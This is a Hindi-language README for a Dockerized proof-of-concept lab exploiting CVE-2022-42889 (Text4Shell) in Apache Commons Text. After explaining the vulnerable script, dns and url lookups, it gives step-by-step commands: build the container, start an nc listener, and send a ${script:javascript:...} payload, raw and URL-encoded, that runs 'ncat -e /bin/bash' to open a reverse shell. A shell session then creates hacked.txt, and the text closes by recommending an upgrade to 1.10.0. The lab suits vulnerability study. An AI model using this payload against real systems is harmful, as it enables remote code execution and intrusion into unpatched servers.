
एक सरल डॉकराइज़्ड एप्लिकेशन जो दिखाता है कि CVE-2022-42889 भेद्यता का शोषण कैसे करें।
Apache commons-text भेद्यता CVE-2022-42889 के लिए प्रूफ ऑफ कॉन्सेप्ट।
Apache Commons Text चर इंटरपोलेशन करता है, जिससे प्रॉपर्टीज को गतिशील रूप से मूल्यांकित और विस्तारित किया जा सकता है। इंटरपोलेशन का मानक प्रारूप "${prefix:name}" है, जहाँ "prefix" का उपयोग org.apache.commons.text.lookup.StringLookup के एक उदाहरण का पता लगाने के लिए किया जाता है जो इंटरपोलेशन करता है। संस्करण 1.5 से शुरू होकर 1.9 तक, डिफ़ॉल्ट Lookup इंस्टेंस के सेट में ऐसे इंटरपोलेटर शामिल थे जो मनमाने कोड निष्पादन या दूरस्थ सर्वरों से संपर्क का कारण बन सकते थे। These lookups are: - "script" - JVM स्क्रिप्ट निष्पादन इंजन (javax.script) का उपयोग करके एक्सप्रेशन निष्पादित करें - "dns" - dns रिकॉर्ड हल करें - "url" - urls से मान लोड करें, जिसमें दूरस्थ सर्वर भी शामिल हैं। प्रभावित संस्करणों में इंटरपोलेशन डिफ़ॉल्ट का उपयोग करने वाले एप्लिकेशन अविश्वसनीय कॉन्फ़िगरेशन मानों का उपयोग करने पर दूरस्थ कोड निष्पादन या दूरस्थ सर्वरों के साथ अनजाने संपर्क के प्रति संवेदनशील हो सकते हैं।
Apache Commons Text संस्करण 1.5 से 1.9
CVE-2022-42889-POC भेद्यता दिखाने के लिए चरण-दर-चरण मार्गदर्शिका :docker build --tag=test/text4shell .
docker run -it -p 80:8080 --name text4shell test/text4shell
docker exec -it text4shell /bin/bash
nc -nlvp 8888
curl http://localhost/text4shell/attack?search=<anything>
हमला एक स्ट्रिंग "${prefix:name}" पास करके किया जा सकता है जहाँ prefix उपर्युक्त lookup है: ${script:javascript:java.lang.Runtime.getRuntime().exec('ncat -e /bin/bash 172.17.0.1 8888')}
curl http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27ncat%20-e%20%2Fbin%2Fbash%20172.17.0.1%208888%27%29%7D
pwd
cd /root
pwd
ls
pwd
cd /root
pwd
ls
touch hacked.txt
ls
pwd
ls
यदि आप ls कमांड के बाद टर्मिनल टैब 3 पर hacked.txt फ़ाइल देख पाते हैं, तो हमला निष्पादित हो गया है।

उपयोगकर्ताओं को Apache Commons Text 1.10.0 में अपग्रेड करने की अनुशंसा की जाती है, जो डिफ़ॉल्ट रूप से समस्याग्रस्त इंटरपोलेटर को अक्षम कर देता है।